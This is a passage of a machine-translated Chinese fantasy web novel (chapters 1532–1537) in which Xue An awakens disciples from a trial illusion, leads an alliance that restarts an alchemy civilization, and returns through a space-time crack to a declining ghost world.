    "That''s not necessary, because the time in this illusion is out of sync with the outside world. In our opinion, a few days may be more than ten years for them! And I guess... they are about to wake up! "


    Hearing what Xue An said, An Yan''s face showed a look of surprise.


    "Husband!"


    "Huh? What''s wrong?"


    "Is there anything in this world that you don''t understand?"


    Xue An smiled and stretched out his hand to rub An Yan''s little head, "Yes!"


    "what?"


    "For example... your women''s mind!"


    "Bah! Greasy mouth and tongue!" An Yan took a sip and gave Xue An a little bit.


    Xue An laughed loudly, but at this moment, Nalan Viola''s expression suddenly began to change rapidly, and his eyelids were also beating non-stop, apparently about to wake up.


    "Is this girl actually the first to wake up? The talent is really good!" Xue An said with interest.


    at the same time.


    Nalan Viola slowly opened his eyes.


    Xue An approached her and smiled at her, "Welcome back!"


    Nalan Zhongqin stared at Xue An blankly, a trace of confusion flashed in his eyes.


    Because for her, who has been in the illusion of trial for ten years, when she woke up, many memories were mixed together, like a mess, making her feel completely at a loss.

 Chapter 1532： Restart the alchemy civilization

    "I know you have a lot of questions you want to ask me now, don''t worry, calm down and think about it, the answer will naturally appear!" Xue An smiled.


    really.


    After a few thoughts, Nalan Viola''s eyes gradually lit up.


    "Do you want to understand?" Xue An said with a smile.


    Nalan Zhongqin took a deep breath and nodded solemnly, "My lord, my disciple already understands!"


    "Very well, then you can wait here! It is estimated that other people should wake up at this moment too!" Xue An said lightly.


    "Yes!"


    Nalan Zhongqin stepped aside respectfully, his eyes full of uncontrollable excitement.


    In these ten years of trial illusion, she has learned too much knowledge that she can''t even imagine and touch.


    But this is not the reason why Nalan Viola is so excited.


    The key lies in the advice and entrustment of the woman''s virtual image that suddenly appeared before the end of the trial.


    What the woman said is very simple, only a few words.


    Fully cooperate with Mr. Xue to restart the alchemical civilization and bring the declining civilization back to glory.


    But just such a few simple words made Nalan Viola''s heart surging and hard to control.


    In fact, before this, not no one thought about it this way, but without exception, they all failed.


    But the Nalan Viola at this moment is full of confidence.


    Because this trial illusion itself is a miracle, how could Mr. Xue, who was specially asked, be so simple?


    What''s more, she had seen all the incredible abilities demonstrated by Xue An before.


    Under such circumstances, the grand idea that seemed unrealistic in the past is no longer so out of reach at this moment.


    In this case, just thinking about it is enough to be extremely exciting.


    Just as Nalan Zhongqin lowered his head and was thinking about it, other people also woke up one after another.


    Those who can follow Xue An into this ruin are without exception the bigwigs of all forces.


    So their own strength and talent are very good.


    Coupled with the indoctrination of this trial illusion, it is not an exaggeration to say that they are the seed players of this civilization restart.


    quickly.


    Everyone awoke from the initial shock and confusion, and exclaimed.


    Xue An watched this scene with a smile, and did not stop it.


    But soon, the noise gradually disappeared, and everyone bowed their heads and stood there respectfully, as if waiting for Xue An''s instructions.


    Until then, Xue An said calmly: "Presumably everyone already knows the answer they want. I don''t say much. There is only one sentence. This opportunity is won by others with their lives. I hope you can seize it. !"


    When the words fell, the audience was silent.


    It was not until a moment later that everyone shook their hands together and shouted: "Yes!"


    Xue An looked around the audience, his gaze swept across the excited faces, and smiled slightly, "If this is the case, then follow me!"


    now.


    Three more days have passed on the island.


    Seeing the red sun falling to the west, there was still no message from the remains of the seabed. The second lady''s eyes flashed with a touch of joy that is not easy to be noticed, and then slowly stood up, changing into a color of sorrow and regret.


    "Oh, it seems that our eldest lady may be really bad. It has been half a month, and there is still no news! Otherwise, everyone will follow me back first, and here are a few people Waiting, what do you think?"


    Everyone in the auction alliance was speechless.


    Although everyone knows that the second lady said this is purely a hidden evil intention, but the fact is here. Nalan Viola has been without any news for more than ten days. According to normal circumstances, it is indeed bad luck.


    So despite the unwillingness of his heart, the chief steward lowered his head sadly and said, "Well, everything depends on the second lady..."


    But before he could finish the following words, someone suddenly exclaimed.


    "Look at the sea!"


    Everyone was shocked and looked up.


    But seeing the ruins in the middle of the seabed suddenly released a little soft light.


    The extremely anxious various forces who had been waiting were all shocked when they saw this abnormality.


    But then I saw that the sea surface that was divided into two halves by Xue An suddenly collapsed, directly submerging the entire ruins.


    The second lady, who had just mentioned her heart to her throat, secretly let out a sigh of relief and almost laughed, but soon changed to a sad voice and said, "Oh, it seems that Qin''er is really bad. what!"


    The faces of people from all forces also became pale.


    Nalan Changlong couldn''t hold back the joy in his heart, hehe smiled and said: "Okay, you don''t need to keep someone here this time, after all, it seems that you can''t die anymore!"


    Everyone in the auction alliance, including the chief steward, glared at Nalan Changlong.


    But Nalan Changlong didn''t care about it.


    In his eyes, only Nalan Viola was his opponent. As for these men..., they were just a group of servants, not worth mentioning.


    But at this moment, the sea suddenly began to boil, and then a series of water bridges appeared, and the water bridges rose higher and higher, and soon everyone could clearly see the scene above.


    And this also shocked everyone.


    Because above the water bridge are all figures.


    "Miss!" The chief steward saw Nalan Viola standing on a water bridge in front of him at a glance. He couldn''t help crying with joy and screamed.


    Naturally, other forces are no exception.


    "President!"


    "Leader!"


    These shouts came one after another, and everyone''s faces were filled with joy.


    Only the second lady and Nalan Changlong, the mother and son, who had just realized that they were holding the winning ticket, their complexions suddenly became extremely ugly.


    "What''s the matter, isn''t she buried on the bottom of the sea? Why does she still appear?" Nalan Changlong roared in a low voice, his hands tightly clenched together, and his nails pierced his palms due to excessive force.


    The face of the second lady was also extremely ugly.


    She thought that with this rare opportunity, her mother and her son would completely control the giant auction alliance.


    Unexpectedly, the plan could not keep up with the changes, and all the extravagant hopes eventually fell through.


    At the same time the water bridge followed the waves and came to the side of the island, and then everyone boarded the island.


    Then the whole island boiled.


    But before everyone vented their joy.


    I saw that all the big guys who boarded the island were standing on both sides with solemn expressions, standing with hands down, seeming to be waiting for something.


    Everyone was taken aback.


    At this moment, I saw a water bridge suddenly rushed into the sky, and Xue An stood on it, standing with his hands behind, and said lightly: "It''s not too late, I announce that the plan will begin immediately!"


    plan?


    what''s the plan?


    Everyone is wondering.


    But seeing Nalan Zhongqin, Yan Zhong, He Yinuo, and all the bigwigs bowed together.


    "Yes!"

 Chapter 1533： Move the mountains and the sea with your fingers, the vicissitudes of life...

    This kind of momentum also caused an uproar in the audience.


    "What the **** is going on? What plan? I don''t understand at all!" Nalan Changlong asked his mother with a dazed expression.


    The second lady stared at Xue An, who was standing high in the sky, and said coldly: "Who knows! It is estimated that this guy is playing mystery!"


    As if to respond to her words, Xue An looked down at the temple ruins that had been re-submerged by the sea, and said lightly: "It''s a shame to be submerged in this way, come out!"


    His voice was not loud, but it spread throughout the audience.


    Everyone is silent, but the sea is as before, without any abnormalities.


    "Sure enough..." Nalan Changlong''s face was mocking, just about to say something, the next scene made him swallow the rest of the words again.


    But seeing the sea rapidly receding, the sea bottom swelled up frantically, and in an instant, the temple ruins that were originally deep in the sea appeared in front of everyone.


    But this is not enough. Large expanses of the sea floor continue to rise, connecting with the island under everyone''s feet.


    But in the blink of an eye, the turbulent sea just disappeared and was replaced by a vast land.


    Everyone was stupefied by the scene before them.


    With just a few fingers, the mountains and the sea are moved, turning the sea into mulberry fields.


    This kind of supernatural power is beyond people''s imagination.


    But this is not over yet, Xue An raised his head to look at the crimson moon hidden behind the clouds, and said lightly: "It''s too slow! Let''s speed it up!"


    As he said, Xue An raised his hand and pointed, and the clouds all over the sky instantly disappeared.


    Immediately afterwards, the day of flames that had just fallen into the western sky rose again to the sky, and the crimson moon, one east and one west, complemented each other, illuminating the whole world.


    This spectacle shocked the whole world.


    In Bluestone City, Zhuang Linyan, who was originally working at the desk in the house, was shocked. He noticed the strangeness between the world and the earth, and immediately rushed out of the room, looking up at the wonder of the sun and the moon in the sky with a horrified face.


    "How is it possible! How could the sun and moon left over from ancient times go wrong?" Zhuang Linyan muttered to herself.


    Liu Jingyi also felt unusual. She stood beside Zhuang Linyan, watching with a horrified face, and whispered: "Could it be that this world is about to collapse?"


    Not only them, everyone in the entire Bluestone City, the entire continent, and even the entire world looked up at this scene blankly.


    Many timid people are even on the verge of collapse, believing that people''s sins must have angered the alchemy gods, leading to the end of the world.


    At this moment.


    Xue An spoke slowly, and his voice spread all over the world in an instant, resounding throughout the world.


    "Starting today, I am the lord of this world, and start the civilization restart plan! Everyone must obey the instructions and make no mistakes!"


    After hearing this familiar voice, Zhuang Linyan and Liu Jingyi shook together, and then looked at each other, and both saw the consternation in each other''s eyes.


    Then Liu Jingyi swallowed hard, and tremblingly said, "Is it...is it him?"


    Zhuang Linyan nodded solemnly, "Yes, it should be an adult!"


    Liu Jingyi was silent, and only laughed at herself after a while.


    "Unexpectedly, he is far more powerful than we thought!"


    "Yes!" Zhuang Linyan sighed, her eyes gleaming with complicated light, "but it''s not a rare opportunity!"


    On the island, everyone stared blankly at Xue An, standing on the sky, hunting in white clothes, just like the gods.


    No one dared to speak.


    It wasn''t until a long time later that someone almost groaned, "God, did I really have a dream?"


    No one answered this person''s question, because everyone at this moment has no time to manage so much.


    There is only one thought in their minds.


    What is going on with this so-called civilization restart plan?


    It seems to be aware of everyone''s questions.


    Xue An looked down at the people headed by Nalan Zhongqin, and said calmly, "Can you forget what you learned in the ruins?"


    Nalan Zhongqin took the lead and said: "Master, disciples dare not forget!"


    Behind her, everyone also said one after another: "Yes, disciples dare not forget!"


    "Very good!" Xue An nodded, "Then you will be responsible for the specific matters of restarting civilization, are you confident?"


    "Definitely fulfill the mission!" everyone shouted in unison.


    Xue An smiled and nodded, "Not bad!"


    After speaking, he turned around and flew into the tall tower, while speaking in a calm tone.


    "I have lived in this tower of truth during this period of time. If anything happens to me, please report it to me at any time!"


    When Xue An''s figure disappeared in the Tower of Truth, people gradually woke up from the shock, and then there was an uproar.


    Countless people rejoiced and wept for joy.


    Because in these long years before, there were countless amazing people who wanted to restart the alchemy civilization, but they all failed.


    But this time, under the leadership of this mysterious Mr. Xue, everything will be different.


    But in this cheerful atmosphere, Nalan Changlong in the crowd looked dull.


    It wasn''t until a long time later that he turned his stiff neck and stammered to his mother.


    "Mother... Mother, next... what shall we do?"


    The voice trembled, full of horror.


    The second lady''s complexion is also ugly, because she knows that all the plans have failed.


    Not only did Nalan Viola have nothing to do, on the contrary, he gained even greater benefits from the ruins.


    In contrast, he has been defeated.


    But she still took a deep breath and whispered: "Don''t say anything, before they notice us, hurry up!"


    With that, she turned around first and wanted to leave.


    But at this moment, the chief steward of the auction alliance and others stopped their way, and said without a smile: "Second Madam, what are you going to do?"


    The second lady turned white and smiled strongly: "I...I didn''t see Zhong Qin coming back, do you want to go home to report!"


    "Humph!" The manager snorted coldly.


    Nalan Changlong stepped forward and screamed inwardly: "What do you want to do? Give me a break. We are members of the Nalan family!"


    At this moment, I heard a cold female voice say indifferently: "Oh? Do you still know that you are from the Nalan family?"


    Following the voice, Nalan viola models came.


    The chief steward and others stepped aside.


    "You..." Nalan Changlong turned pale.


    But Nalan Zhongqin is obviously not interested in talking nonsense with them, the mother and son, just took a deep look at them, and then said indifferently: "Catch them all! I don''t want to watch them until the adults'' affairs are finished. To them!"


    "Yes!"


    And when the curtain on the islands came to an end, the whole world boiled with Xue An''s words.

 Chapter 1534： Crazy iteration

    "Restart civilization? How to restart?" Someone said blankly.


    "Haha, I guess it''s a madness! Also restarting civilization, how many people have thought about it like this from ancient times to the present, and the result is not all defeated? What a joke!" Someone said with sarcasm.


    "You can''t say that. I heard that Mr. Xue, who was born in the sky, is a person with great wisdom and supernatural powers. This time it is estimated that he can really get it done!" Someone hesitated.


    "That''s what you think, and I don''t believe it anyway! Otherwise, let''s wait and see, this so-called civilization restart plan will definitely become a total joke!" This still said without showing weakness.


    In short, when the news came out, public opinion was boiling instantly.


    Among them, some are half-believing, some are cynic, some are dismissive.


    But no matter who it is, the attention is now focused on the Tower of Truth and all forces.


    After all, everyone wants to see whether this event can really be completed or whether it will become a joke like a castle in the sky as before.


    In this highly anticipated situation, all the various forces have remained silent in a surprisingly unanimous manner.


    But just under this calm appearance, there is a turbulent undercurrent surging.


    Three days later.


    Just when all the parties concerned about this incident were amazed and did not know what was going on.


    There was another news that was enough to shock everyone''s attention, and it swept the whole world in an instant.


    The auction alliance, the tower of truth, the digger''s guild, the hunter guild, the apothecary alliance and other forces issued a declaration at the same time, announcing that the forces of all parties would unite immediately to form a civilization restart alliance.


    Code name, Tinder!


    In an instant, all parties were shocked.


    Because of such a big action, it is beyond the imagination of ordinary people.


    We must know that although the various forces in the past did not talk about arrogance, they at least fought openly and did not give in to each other.


    But who could have imagined that in just a few days, these once intriguing opponents had all put aside their prejudices and united together.


    This also caused many people who had previously asserted that this civilization restart would fail in an instant.


    And many people''s hearts gradually ignited hope.


    In any case, it is a good start to bring so many forces together.


    But no one expected that the progress of the next thing would be so fast.


    When the Tinder Alliance was completely formed, it was under the full promotion of Yinuo, Nalan Zhongqin and other bigwigs, as well as the cooperation without selfishness.


    This behemoth began to show up gradually.


    Countless resources have been rationally deployed and applied. The long-lost ancient technologies have sprung up like bamboo shoots after a rain. Countless alchemists and talents from all walks of life have worked together to absorb these new knowledge crazily and make improvements.


    It is unceremonious to say that in just a few days, the height reached by the Tinder Alliance has surpassed the path that a power had to travel for thousands of years.


    The progress of the restart of the entire civilization can no longer be described by simple acceleration. It should be said that it is like installing a rocket, evolving iteratively at a leap-like speed.


    at last.


    One month later.


    When a one thousand feet high, the whole body is made of mithril, covering various ancient technologies and improving them, the mechanical puppets that were created finally appeared, causing a worldwide sensation.


    "How is it possible! How can they create such a huge mechanical puppet in just one month? Doesn''t it mean that the technology of the giant puppet has long been lost?" Someone said with a frantic face.


    "But believe it or not, things have indeed happened! The light curtain broadcast is not deceiving! It is simply a beautiful work of art!" Someone exclaimed.


    "Maybe it was excavated from the ruins. No matter how fast the Tinder Alliance absorbs new technology, it is impossible to complete such a creation in such a short time!" Someone said hesitantly.


    "Yes, it must be so. They definitely got it from the ancient ruins!" The dear friend said as if he had caught the straw.


    But it seems that in response to his assertion, just three days later, a giant aircraft capable of holding a thousand people and cruising in the air for one day once again appeared in front of the world.


    "Mine! This kind of aircraft is just like a sky fortress!" someone exclaimed.


    "It''s the same as what it is called, it is clearly an aerial fortress! And this is also a long-lost ancient alchemy!" Someone sighed.


    This time, this man who had been ridiculing the civilization restart plan from the beginning was also a little dumbfounded.


    He thought the last mechanical puppet was just an accident, but he never expected that the Tinder Alliance would give him such a big surprise just three days later.


    At this time, someone on the side smiled meaningfully at him: "How about it? Is this aircraft also dug out of ancient ruins this time?"


    This man was speechless, but after hesitating for a while, he still insisted: "So what? It''s nothing more than a flying machine! What''s so great? Restarting civilization is not about simply making a few. You can do it with just one thing!"


    "Then how can it be counted?"


    "At least the alchemy tower from the ancient times must be restored! That is the most important thing in the alchemical civilization!"


    Many people nodded after hearing this.


    Because this dear friend is right, whether it is ancient or modern, alchemy towers are the most important infrastructure.


    But because many technologies have been lost, the current alchemy tower cannot be compared with the ancient towers in terms of function and power.


    This time this man started to be triumphant again.


    "When can a standard alchemy tower be built, let''s talk about restarting civilization! Haha!"


    But his pride did not last long. In fact, just ten days later, on top of the original position of the Tower of Truth, a giant alchemy tower with a height of one hundred thousand feet and a tall skyscraper was declared complete.


    As soon as this news was announced, the world boiled over it.


    Many people couldn''t believe this was true, but when the scenes on the light curtain appeared in front of everyone, everyone was dumbfounded.


    Because this alchemy tower stands impressively above the ground, and against it, the tower of the tower of truth before has become a toy.


    And from the nearly perfect streamlined structure of the entire tower, as well as the dense runes on the tower, it can be seen that this tower is not only built, but also highly completed. The terrifying power contained in it, even if it is separated from the light curtain. You can feel it.


    At this time, the dear man who had previously vowed that the Tinder Alliance would not build a tower was completely speechless.

 Chapter 1535： Ready to leave

    But he dare not speak, but that doesn''t mean that others will let him go.


    "Why? Dude don''t want to give some more comments? I remember you slapped your chest and mocked that this civilization restart plan will definitely fail!" Someone asked in a mocking tone.


    The dear''s mouth moved silently, but in the end he was speechless, he could only smile awkwardly, and then left dingyly.


    After several slaps in the face, all the previous cynicism disappeared.


    Instead, it is extremely eager and expectant.


    After all, who doesn''t want to see the glory of the ancient alchemy civilization in its heyday again?


    The Tinder Alliance did not disappoint, and various alchemy creations that only existed in ancient legends began to appear one after another.


    Many huge figures that had disappeared for a long time appeared on this land again.


    And just as the civilization restart plan is in full swing, He Yinuo, Nalan Viola and the bigwigs of all parties are gathered on the alchemy tower today.


    So many people gathered in one room, but the room was silent.


    Everyone''s eyes were focused on the back figure standing in front of the window, and a fanatical admiration appeared on the faces of many people.


    Xue An narrowed his gaze, slowly turned around, glanced at everyone, and then nodded in satisfaction.


    "During this period...you did a good job!"


    This compliment made everyone''s expression relaxed, and excitement appeared in their eyes.


    After all, after experiencing the tempering of the trial illusion, Xue An''s image has become extremely tall in their minds, and has even become a savior-like existence.


    This is also the reason why all forces can put aside their prejudices and entanglements over interests and meet frankly.


    "But if I want to achieve what I want, it''s not enough!" Xue An said lightly.


    This sentence made everyone''s countenance serious.


    Nalan Zhongqin couldn''t help asking: "My lord, what do you expect in your heart?"


    "It''s very simple, change the day and take the world for your own use!" Xue An said lightly.


    But it was such a sentence that made the whole audience commotion.


    Many people were surprised and puzzled.


    He Yinuo couldn''t help but frowned slightly, and then respectfully said: "My lord, if you want to reach the level you expect, it is indeed a bit difficult with the technology we have now!"


    Xue An nodded, "Of course I know this!"


    He Yinuo was taken aback, "Then you..."


    "I am calling you here this time to talk about this!" Following the voice, Xue An waved his hand casually.


    In front of everyone, a scarred statue appeared.


    After seeing this statue, everyone was stunned.


    And Xue An stepped up to the statue and said lightly: "This is an alchemical creation handed down since ancient times. It also represents the top alchemy technology at that time, and what you have to do next is thorough. Delve into it and use the technology in it!"


    Alchemy creation!


    Hearing these four words, everyone was stunned, and then all eyes appeared astonished.


    Nalan Viola, who was closest to the statue, had a pale face, and his voice trembled a little.


    "Big...sir, is this the alchemy creation that completely ruined the ancient civilization?"


    Xue An nodded, "Yes!"


    "No...sir, we can''t study it, because this is the technology of the devil. If these creations are allowed to reappear in the world, it will definitely lead to a huge disaster!" Nalan Viola said in horror. .


    The others also nodded.


    "Yes, my lord! These creations are extremely evil, and the ancient civilization paid a very heavy price for this. All we can do is to destroy them completely, not to study them!"


    These persuasive voices one after another, Xue An smiled, standing in place and listening quietly.


    When the voice gradually died down, Xue An said indifferently: "You are all right, but do you really think that the ancient disaster was due to these creations?"


    Ok?


    What does this mean?


    When everyone heard this, all their faces were puzzled.


    Xue An gently stroked the surface of the statue even after a long period of time, and said indifferently.


    "Technology is not guilty, and the culprit is the person who abuses it. Unfortunately, as Wan Han said, the fish that dried the water escaped!"


    Speaking of this, Xue An''s tone became extremely firm, "So I decided to restart the research on these alchemical creations! As for the possible consequences..."


    "I will solve it!"


    Everyone looked at each other, and finally bowed their heads and said respectfully: "Yes!"


    A large number of alchemists stationed inside the temple ruins, and began to conduct detailed studies on the statues.


    I have to say that these alchemical creations represent the highest level of ancient alchemical civilization.


    The technology contained therein is simply breathtaking.


    At least during the initial dismantling and restoration, there were no small difficulties.


    Fortunately, with Xue An''s help, these difficulties quickly passed.


    In particular, Xue An''s accurate interpretation of those runes has put the research on the fast lane.


    Just under the research progress of thousands of miles.


    The whole world also began to change.


    As the creator of everything, Xue An stood aside and watched as much as possible. Unless necessary, he rarely intervened.


    More often, he is more willing to be a witness, witnessing the restart of civilization this time.


    at last.


    After just one year, the whole world has undergone tremendous changes.


    Various ancient technologies have been rediscovered and used creatively, but the biggest gain is a team of extremely high-level talents.


    Among the team are alchemists with rising technical levels, as well as various talents who are good at forging, dismantling, analyzing, and creating.


    And all this only happened within one year.


    Despite Xue An''s help, this is not a miracle.


    Into the night.


    The crimson moon and the day of flames hung in the sky at the same time, but the brightness was reduced a lot, giving a feeling of night.


    On the alchemy tower, An Yan leaned on Xue An''s shoulder and asked softly: "Husband, are we leaving?"


    "Huh? How do you know?"


    "Guess it! Hehe, is it accurate?" An Yan''s fingers slid gently on Xue An''s arm and said with a smile.


    "Yes! It is true that I guess!" Xue An raised his hand and gently squeezed An Yan''s face.


    An Yan raised her head slightly and looked at Xue An very seriously, "Husband, in fact, I have been a little confused, why are you spending so much energy to help the world restart civilization?"


    Xue An smiled, "Because... I have a very good idea, but I need the help of alchemy civilization!"

 Chapter 1536： Ghost World Change

    An Yan nodded without understanding, and then asked, "Is it related to the ghost world?"


    "Yes! But what exactly it is, you''ll know then!" Xue An deliberately sold it.


    "How long will it be then! Husband, please tell me secretly, don''t jeopardize people''s appetite!" An Yan groaned.


    Xue An smiled and said, "Okay, okay, don''t worry, I promise it will never be too long!"


    In the end, An Yan couldn''t ask why from Xue An''s mouth, so she had no choice but to return to Fubao Xiaolou.


    After she left, Xue An''s eyes flashed with a complex sheen, then took a deep breath, wrote a summoning order in the air, and waved it.


    The summoning order then dispersed and flew into the darkness everywhere.


    As Xue An said, time really won''t be too long.


    After experiencing an explosive civilization evolution, the current level of alchemy civilization barely meets Xue An''s requirements.


    Next, I have to pack my bags and start preparing for my return to the ghost world.


    This time, Xue An called all the bigwigs together again and announced his plan in public.


    After listening to Xue An''s plan, He Yinuo, Nalan Zhongqin, Yan Zhong and the others were all horrified.


    Because they did not expect that Xue An actually had such a grand plan.


    But after more than a year, Xue An''s status has become more and more lofty, at least no one dares to doubt what he said.


    What''s more, if this plan is realized, it will also be a great event for the entire alchemy civilization, and even represent the beginning of the alchemy civilization''s return to the heavens.


    Therefore, without any hesitation, everyone nodded and said, "I wish to obey the orders of the adults!"


    Xue An smiled, "Very well, then I will give you three days. After finishing the arrangement, I will go with me!"


    "Yes!"


    Three days, fleeting.


    Although Xue An did not say that it needs to be kept secret, by agreement, all the bigwigs kept silent about the upcoming expedition to the ghost world.


    Therefore, there is nothing unusual in the whole world, only those who pay close attention to the dynamics of all parties have some doubts.


    Why suddenly the personnel of the Tinder Alliance began to mobilize wildly?


    Is there any big plan?


    These questions will of course not get any answers.


    And when three days later, Xue An couldn''t help nodding after seeing everyone who was ready and ready to go.


    "Yes! Now, let me do it!"


    During this year, Xue An was not idle either. In addition to sorting out his own practice gains over the years, he was studying the key that Wan Han gave him.


    With this thing, this world of alchemy can be said to be completely used by Xue An.


    So soon, he figured out how to construct a space-time channel through this simply and quickly and return to the ghost world.


    This time this method naturally came in handy. When Xue An waved his hand, the space in front of him suddenly began to fluctuate, and then a space-time crack appeared in front of everyone.


    Then Xue An stepped in, He Yinuo, Nalan Zhongqin and others followed closely, walking into the cracks of time and space.


    Central Ghost World, Wei Family!


    Since the return of Mingjun Ye Hanshang, this place has become the center of the entire ghost world.


    Although Ye Hanshang''s memory has been restored, he was taken care of by his sister Wei Qingxiao in the Wei family.


    So even if he was on the throne of King Ming, Ye Hanshang still smiled to Wei Qing as his sister, and simply sat in Wei''s house, treating this place as King Ming''s palace.


    This naturally envied countless people.


    But now the atmosphere in the entire ghost world has become a bit dull.


    Because in the past few years, many ghost clan powerhouses have discovered with horror that their strength is actually declining.


    When they first noticed this clue, many ghost clan experts thought it was their own practice that went wrong.


    But as the news spread and spread, more and more ghost clan powerhouses found themselves in a situation of decline in strength.


    This could not help causing a huge panic.


    But if this is just a cloud over the head of the strong ghost clan, what happens next makes everyone in the ghost world at risk.


    Because many ghosts have discovered that the birth rate of ghosts is plummeting.


    Although the birth of a new ghost clan in the past was a bit cumbersome, it was nothing for a normal ghost clan.


    But in just a few years, whether it is a strong or an ordinary ghost, it is extremely horrified to find that giving birth to a ghost is becoming more and more difficult.


    And the mortality rate is getting higher and higher.


    This time attracted the attention of all parties, countless strong people began to carefully investigate the reasons, but in the end all returned to no avail.


    And this discovery can be described as desperate.


    Because no explanation often means greater panic.


    Coupled with the decline in strength that everyone can perceive, this has become the sword of Damocles hanging over everyone.


    Under this circumstance, many powerhouses placed their hopes on Ye Hanshang, Mingjun.


    Hope this Master Mingjun can come up with a feasible solution.


    But soon, everyone was disappointed.


    Because Ye Hanshang seemed to turn a deaf ear to these changes and ignored them. He did not spend the whole day playing chess and laughing with his sister Wei Qingxiao in the Wei family, or went to the endless desert to find Meng Yao for new brews. Drinking.


    Or go to the lava field and chat with Monk Jinjue who has built a temple there.


    All kinds of performances can''t show that he has the slightest concern for the various changes of the ghost race.


    This naturally disappointed everyone, but no one dared to show his power and power, so he could only slander him in his heart.


    Today, Ye Hanchang went to Meng Yao''s place to drink a few glasses of her newly brewed spirits. After the whole person was drunk, he staggered to the lava field.


    At this moment, Jin Jueseng just received ordination for a few newly converted ghost disciples When Ye Hanshang walked in staggeringly, he couldn''t help but smile.


    "Master Mingjun drank again?"


    At this moment, Ye Hanchang''s tongue was a little hard, and he sat down opposite Jin Jueseng, and said vaguely: "Hey, Meng Yao''s newly brewed wine is really strong!"


    At this time, the former lava monarch Rong Yang brought two cups of tea to him.


    "Master, Mingjun, please use tea!"


    After that, he lowered his eyes, and Baoxiang retreated solemnly.


    Ye Hanshang''s gaze retracted from him, and then he smiled, "Great monk, if you want me to tell you that you are really good at it, you actually put this Rongyang pipe into service, and even willingly serve you tea. The water is amazing!"


    Jin Jue shook his head, "Ming Jun said and laughed, I didn''t care about him, but the donor of Rongyang has a Buddha nature, and he wakes up!"


    "Hey! Speaking of the great monk, what are you already doing now? Invisibly?" Ye Hanchang asked with a grin.

 Chapter 1537： Return

    Jin Jue smiled slightly, "Is there any difference between entering or not? Realm or not, it doesn''t really matter to me!"


    Ye Hanshang curled his lips, "Come on! You monks have always spoken nicely. If you really don''t care about the realm, why do you have to divide the realm?"


    "That''s to motivate the less advanced people and urge them to make progress bravely!" Jin Jue answered honestly.


    "I believe you a ghost! You great monk is very bad!" Ye Hanshang said by Jiujin.


    Jin Jue was a little bit dumbfounded, "Then what should Master Mingjun mean?"


    Ye Hanchang smiled, "You tell the truth, are you already invisible now?"


    Jin Jue shook his head, "Almost!"


    "Huh?" Ye Hanshang was a little surprised, "but how do I feel that your incarnation of the great monk is complete?"


    Jin Jue smiled, then raised his finger to point to his chest, "He has entered his heart, but his realm is still a bit short!"


    Ye Hanchang raised his eyebrows slightly, "Is it because of the ghost world?"


    Jin Jue was silent for a moment, then nodded honestly, "Yes!"


    Ye Hanchang sat back in his chair and sighed, "Actually, I should have thought of it, the origin of the ghost world has been declining at an astonishing speed during this period, and this speed is still accelerating! If it is not saved, at most a hundred years, this world will completely die, and there is no possibility of saving!"


    Jin Jue couldn''t help feeling a little moved when he heard this. He could naturally feel the strangeness of this world, but he didn''t expect it to be so serious.


    "Are you surprised?" Ye Hanshang gave a wry smile, and then sighed softly: "To be honest, countless ghost world experts have been responding to this matter to me over the past year, but I have not paid any attention. So many people are scolding me for being faint, but do you know why I don''t care?"


    Jin Jue shook his shiny head and frowned slightly, "Because... Xue Shizhu?"


    Ye Hanshang nodded, "Yeah! It''s because of him! To be honest... The Origin of the Ghost Realm has suffered such severe damage, even if I want to rescue it, I can''t do it!"


    "So I can only pin all my hopes on Lao Xue now. After all, he said to me himself that there is a way to save the world!"


    Jin Jue stayed silent for a moment, and then chanted the Buddha''s name softly, "Nan Wuwu Buddha, Xue Shizhu, a heavenly wizard, with supernatural powers like the sea, he will definitely find a way to save the people from the fire and water!"


    "I think so too, but the problem is that it has been so long, but there is no news of him. This always gives me an ominous premonition!" Ye Hanshang''s face showed a solemn look. .


    In fact, he had no doubt about Xue An''s strength.


    But the key is that if things are as what Xue An said, then the key to solving the problem lies in alchemy civilization.


    But the problem is that after leaving that alchemy civilization for so long, Ye Hanshang doesn''t know what it has become!


    Even if that civilization is still in its heyday, it is still an extremely difficult task to use their power to save such a large ghost world.


    Even whether it can be completed is still unknown.


    Just when this little tea room fell into silence.


    A slight tremor suddenly appeared in Ye Hanshang''s heart, which could not help making him startled. Huo Ran raised his eyes and happened to be looking at Jin Jue.


    Both of them saw the astonishment in each other''s eyes, and then they took a deep breath and said in unison: "It''s him!"


    Immediately afterwards, a smile of relief appeared on Ye Hanchang''s face.


    "Hey, I didn''t expect that he couldn''t help talking so much. He returned after just a few words! Hey, monk, are you going?"


    Jin Jue''s simple and honest face also showed a smile, "Donor Xue has returned from a long distance, so the little monk will naturally go to meet him!"


    "Okay! Then let''s go!"


    The words fell, but saw two Huaguang skyrocketing from the tea room, and instantly disappeared into the sky.


    At this moment, Wei''s house was also full of jitters, because in the courtyard where Xue An lived before, there were waves of terror, and even the surrounding houses collapsed.


    Such an abnormality was immediately reported to the upper level by the lower people.


    Wei Qingxiao was the first to learn the news and then rushed over.


    When she stepped into the hospital, she saw a huge space-time crack in the middle of the courtyard.


    Those terrifying fluctuations came from this time and space crack.


    But when Wei Qingxiao arrived, the time-space cracks had gradually stabilized, and the previously scattered fluctuations had also weakened a lot.


    At the moment when the empty crack was completely formed, a familiar breath from it made Wei Qing laughed and his eyes widened.


    At the same time, Wen Muling led the newly formed Shadow Guards including Ah Qing to the scene.


    Today''s Wen Mu Ling is already Ye Hanshang''s first guard, and this shadow guard has also risen and become the existence that many ghost world experts talk about.


    But because Ye Hanshang can''t stay at home at all, and doesn''t like someone following him, the only job of this shadow guard now is to look after the safety of Wei''s house.


    However, there is the power of Mingjun here, who dares to come and make it, so Wen Mu Ling and others can grow flowers in a leisurely manner.


    But this time was different. The terrifying spatial fluctuation was not a joke, so when Wen Mu Ling and many Shadow Guardians learned the news, they rushed over immediately.


    But when they came to the field, it happened that Xue An also walked out of the cracks in time and space.


    Wen Mu Ling, A Qing and others, who were ready to fight to the death as if they were facing a big enemy, were immediately stunned when they saw Xue An.


    Xue An raised his eyes and glanced at the people who rushed, and finally fixed his gaze on Wei Qingxiao. UU read and then smiled slightly.


    "Sorry, the first time I used the space-time channel, I didn''t grasp the strength, and the house collapsed a few!"


    Wei Qing laughed with a face full of bewilderment, but when she heard Xue An''s words, she immediately reacted, and then bowed her head respectfully.


    "My lord is joking. It is our honor to welcome you back, let alone a few houses!"


    Xue An smiled faintly when he heard the words, "If that''s the case, then I''ll be bothering you!"


    With that said, Xue An stepped forward and gave way.


    Then I saw that He Yinuo, Nalan Zhongqin, Yan Zhong and others walked out of the empty cracks since then, and soon stood full of the small courtyard.


